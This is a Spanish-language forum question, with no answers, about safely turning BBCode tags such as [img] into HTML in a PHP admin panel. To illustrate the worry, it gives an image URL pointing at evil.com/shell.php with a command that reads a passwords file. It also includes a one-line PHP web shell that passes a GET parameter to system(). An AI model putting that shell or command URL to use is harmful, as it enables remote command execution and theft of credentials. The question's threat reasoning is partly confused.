Interpretar de forma segura las etiquetas BBCode en PHP

0

Estoy tratando de hacer un tipo de panel de administrador para mi sitio web, por lo que podría, por ejemplo, agregar fácilmente artículos de noticias a mi sitio web. El problema es que los administradores deberían poder usar un tipo de BBCode, pero debo hacerlo de forma segura.

Para estas etiquetas no es un problema: [h1], [b], [i]

, ... Eso es solo reemplazar con <h1>, <b>, <i>, ... pero tengo problemas con, por ejemplo, el [img] -tag.

[img]http://image-host.com/cat.png[/img] no es un problema si sustituyo [IMG] con <img> . Pero

[img]http://evil.com/shell.php?cmd=echo $(cat passwords.txt) > stolenPasswords.txt"[/img] podría dar un problema (solo por un ejemplo rápido).

Los usuarios que reaccionan con una imagen, o un administrador malvado podrían dar la URL a un shell u otro código malvado.

Probado con este código:

test1.php:

<html>
        <img src="cat.jpeg" /><br>
        <img src="http://localhost/test2/danger1.php?cmd=echo$(cat../test/passwords.txt)>stolenPasswords.txt" />
</html>

danger1.php

<?php
        $x = system($_GET["cmd"]);
?>

¿La validación de imagen normal también satisface incluso si es remota? En mi opinión no porque evil.com podría ser un servidor Nginx en el que las imágenes .png pueden interpretarse como código.

Estoy preguntando cómo hacerlo en código (PHP), pero también sobre cómo protegerlo mediante la configuración del servidor.

TL; DR ¿Cómo puedo asegurar el panel que permite a los administradores y usuarios configurar texto en negrita y cursiva, e imágenes mediante el uso de etiquetas similares a BBCode?

    
pregunta O'Niel 02.01.2017 - 14:02
fuente

0 respuestas

Lea otras preguntas en las etiquetas